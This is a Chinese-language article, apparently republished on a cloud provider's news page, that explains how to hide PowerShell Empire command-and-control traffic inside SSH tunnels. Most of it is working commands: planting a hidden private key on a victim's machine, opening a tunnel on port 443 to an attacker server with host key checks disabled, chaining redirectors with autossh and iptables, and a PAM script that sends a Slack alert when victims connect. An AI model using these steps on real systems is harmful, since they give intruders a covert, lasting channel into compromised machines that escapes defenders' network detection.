您好,登錄后才能下訂單哦!
如何在標準SSH隧道中隱藏C&C流量,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
SHazam是一種在標準SSH隧道中隱藏C&C流量從而躲避網絡檢測的技術。在本文的示例中將會運行PowerShell Empire,用于連接到受害者的localhost端口。本地端口會通過SSH連接被轉發到遠程Empire server,以便讓我們看到的唯一網絡流量為SSH。示例中的受害者系統為OS X,但相同的技術也可以使用Plink.exe(Putty toolset的一部分)在Windows上實現。
從上圖可以看到,受害者系統有一個SSH隧道被配置為偵聽端口5430,并將接收到的任何內容都轉發給Empire Server。Empire Server讓Empire在自己的localhost(127.0.0.1:5430)上運行和偵聽同一個端口。為了使SSH流量看上去更有迷惑性,我們讓SSH服務器偵聽端口443而不是標準的22端口。你可以通過編輯SSH配置文件更改其偵聽端口,以及云提供商防火墻配置以允許通過此端口進行通信。
在建立隧道之前,你必須創建或復制私鑰到受害者系統上。必須將關聯的公鑰添加到empire-server的authorized_keys文件中以允許SSH連接。在本例中,我們將私鑰文件放置在受害者的~/.ssh/.do.key目錄。你可以通過以下命令完成這一系列操作:
mkdir ~/.ssh chmod 700 ~/.ssh echo -----BEGIN RSA PRIVATE KEY----- >> ~/.ssh/.do.key echo MIIJKAIBAAKCAgEArVuMJdwgl9z9s1C0mrYV05hwUevmY+CkJaY/1iiPJSE6/AAp >> ~/.ssh/.do.key echo +qkMZ9nrHkBQtaQMrXPW5MQXLxU/o8LQ5QyPiy/B4FiGEfNSx//mSJvEYAXXN4zC >> ~/.ssh/.do.key <snipped here for brevity> echo RkiQ5Eir83CLCZFLRWV8wFvNkGV2krxMXDtHHFL5ars/J7tdBekmYI62eXnE5oXl >> ~/.ssh/.do.key echo NHky2x6YsnQf5lOkC1XyWvwg77gR2kRhb9KpOi+hp6xB42o00mpbZgyY5V4= >> ~/.ssh/.do.key echo -----END RSA PRIVATE KEY----- >> ~/.ssh/.do.key chmod 600 ~/.ssh/.do.key
為了防止任意獲取私鑰訪問權限的人向你的empire-server執行不必要的操作,你可以在Empire Server上進行配置更改。編輯/etc/passwd文件將其中的登錄名更改為/bin/false。
victim:x:1001:1001:Victim Guy,,,:/home/victim:/bin/false
使用受害系統上的私鑰,一條簡單的命令即可為你配置SSH隧道和端口。
ssh -i ~/.ssh/.do.key -p 443 -N -f -oStrictHostKeyChecking=no victim@empire-server.corp.com -L 5430:127.0.0.1:5430
現在,你可以配置PowerShell Empire或你自己的C2來偵聽127.0.0.1:5430上的連接。這甚至在你進行域前置( domain fronting)等復雜配置時仍可正常工作。
就像這樣,所有C2流量都被隱藏在了加密的SSH隧道內,因此你不必為C2觸發任何其他網絡簽名而擔心。
這項技術看上去非常的不錯也很簡單,但我相信你絕對不希望將客戶的敏感數據放在他人的云主機上。如果是這樣,你就需要設置其他重定向器,以將流量通過云主機轉發到你自己網絡中的系統上。但這么做的缺點就是操作過程會復雜很多,不過大家不用擔心我已經為你們解決了所有的問題,如下所示:
C2連接通過SSH隧道轉發到empire-redirector。empire-redirector上的防火墻規則將流量轉發到另一個中間重定向器。最后,Empire C2會話最終登陸的內部系統會建立與最終重定向器的反向SSH連接。
在受害者計算機上運行的SSH命令如下:
ssh -i ~/.ssh/.do.key -p 443 -N -f -oStrictHostKeyChecking=no victim@empire-redirector.corp.com -L 5430:127.0.0.1:5431
從內部可信系統運行的SSH命令為:
autossh -M 5431 -o ServerAliveInterval=30 -R 5433:10.10.10.185:5430 root@redirector.corp.com
你可能需要先安裝autossh,但這么做是值得的,因為它會確保你的隧道能夠長時間的保持運行。
Empire-Redirector的IP表規則如下:
iptables -t nat -A OUTPUT -m addrtype --src-type LOCAL --dst-type LOCAL -p tcp -m multiport --dports 5430:65535 -j DNAT --to-destination 128.62.137.184:5432 iptables -t nat -A POSTROUTING -m addrtype --src-type LOCAL --dst-type UNICAST -j MASQUERADE sysctl -w net.ipv4.conf.all.route_localnet=1
這會將端口5430到65535轉發到最終重定向器,你可以使用該范圍內的一個任意端口連接到受害者。
重定向器的IP表規則如下:
sysctl -w net.ipv4.conf.all.route_localnet=1 iptables -t nat -I PREROUTING -p tcp --dport 5432 -j DNAT --to 127.0.0.1:5433
你可能還希望在建立SSH連接時通過slack獲取通知。只需將這兩行添加到empire-redirector上的/etc/pam.d/sshd文件中,這樣當每次成功建立SSH連接時就會自動運行我的slack通知腳本。
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open session optional pam_exec.so /home/root/ssh-slack-alert.sh
以下是我slack腳本中的內容:
#!/usr/bin/env bash if [ "$PAM_USER" != "admin" ] && [ $PAM_TYPE != "close_session" ] then message="\`\`\`PamType: $PAM_TYPE\nSSH-User: $PAM_USER\nRhost: $PAM_RHOST\nServer: SSHazam\nHostname: `hostname`\`\`\`" curl -X POST \ --data-urlencode "payload={\"channel\": \"alerts\", \"username\": \"SSHazam\", \"text\": \"${message}\", \"icon_emoji\": \":boom:\"}" \ https://hooks.slack.com/services/YOUR/SLACK/HOOKHERE fi
注意!在這個更為復雜的場景中,一次只能有一個受害者連接,除非每個受害者都配置為使用empire-redirector上的不同端口和用戶/私鑰組合。這很煩人,但在魚叉式釣魚場景中相當好用。
看完上述內容,你們掌握如何在標準SSH隧道中隱藏C&C流量的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。